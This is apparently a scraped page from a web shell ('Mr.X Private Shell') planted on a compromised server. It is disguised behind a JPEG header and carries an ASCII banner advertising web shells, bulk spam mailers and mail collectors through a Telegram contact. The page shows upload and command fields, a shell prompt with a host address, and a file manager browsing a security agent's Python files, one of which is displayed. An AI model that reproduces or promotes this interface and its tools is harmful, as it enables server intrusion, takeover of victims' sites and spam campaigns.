����JFIF��������� Mr.X
  
  __  __    __   __  _____      _            _          _____ _          _ _ 
 |  \/  |   \ \ / / |  __ \    (_)          | |        / ____| |        | | |
 | \  / |_ __\ V /  | |__) | __ ___   ____ _| |_ ___  | (___ | |__   ___| | |
 | |\/| | '__|> <   |  ___/ '__| \ \ / / _` | __/ _ \  \___ \| '_ \ / _ \ | |
 | |  | | |_ / . \  | |   | |  | |\ V / (_| | ||  __/  ____) | | | |  __/ | |
 |_|  |_|_(_)_/ \_\ |_|   |_|  |_| \_/ \__,_|\__\___| |_____/|_| |_|\___V 2.1
 if you need WebShell for Seo everyday contact me on Telegram
 Telegram Address : @jackleet
        
        
For_More_Tools: Telegram: @jackleet | Bulk Smtp support mail sender | Business Mail Collector | Mail Bouncer All Mail | Bulk Office Mail Validator | Html Letter private



Upload:

Command:

antiaginglove@216.73.216.231: ~ $
"""
https://github.com/SpiderLabs/ModSecurity/wiki/Reference-Manual-(v2.x)#SecDataDir
"""
import asyncio
import os
import logging

from defence360agent.subsys.panels import hosting_panel
from defence360agent.utils import retry_on
from defence360agent.subsys import web_server

logger = logging.getLogger(__name__)


def get_sec_data_dir(modsec_config_path):
    try:
        with open(modsec_config_path) as f:
            data = f.read()
        start = "<IfModule security2_module>"
        end = "</IfModule>"
        param_name = "SecDataDir"
        data_between = data.split(start)[1].split(end)[0]
        param = next(
            iter(
                [
                    line
                    for line in data_between.splitlines()
                    if param_name in line
                ]
            ),
            None,
        )
        return param.split(param_name)[1].strip()
    except (IndexError, AttributeError, OSError) as e:
        logger.error("Incorrect modsec config %s", e)


async def create_modsec_cache_directory():
    """
    Create modsec cache directory because sometimes a directory may not exist
    :return:
    """
    try:
        modsec_config_path = (
            hosting_panel.HostingPanel().get_modsec_config_path()
        )
    except NotImplementedError as e:
        logger.debug(
            "get_modsec_config_path is not implemented for current "
            "hosting_panel %s",
            e,
        )
        return
    if not modsec_config_path or not os.path.exists(modsec_config_path):
        return

    sec_data_dir = get_sec_data_dir(modsec_config_path)
    if sec_data_dir and not os.path.exists(sec_data_dir):
        try:
            os.makedirs(sec_data_dir)

            # The directory to which the directive points must be
            # writable by the web server user.

            async def pause(*_):
                await asyncio.sleep(60)  # wait a minute between attempts

            @retry_on(web_server.NotRunningError, on_error=pause, max_tries=5)
            async def coro():
                web_server.chown(sec_data_dir)

            await coro()

            logger.info("Successfully created sec_data_dir %s", sec_data_dir)
            await web_server.graceful_restart()
        except OSError as e:
            logger.error("Error when creating sec_data_dir %s", e)

Filemanager

Name Type Size Permission Actions
__pycache__ Folder 0755
features Folder 0755
panels Folder 0755
__init__.py File 0 B 0644
csf.py File 11.29 KB 0644
fail2ban.py File 227 B 0644
int_config.py File 1.33 KB 0644
modsec_app_version_detector.py File 2.63 KB 0644
modsec_audit_log.py File 50.45 KB 0644
modsec_cache_dir.py File 2.3 KB 0644
ossec.py File 7.78 KB 0644
pam.py File 5.18 KB 0644
proactive.py File 3.44 KB 0644
remoteip.py File 3.23 KB 0644
running_ids.py File 1.77 KB 0644
shared_disabled_rules.py File 4.72 KB 0644
smtp_blocking.py File 16.64 KB 0644
waf_rules_configurator.py File 4.69 KB 0644
webshield.py File 6.67 KB 0644
webshield_mode.py File 1.15 KB 0644
whitelist_rbl.py File 7.36 KB 0644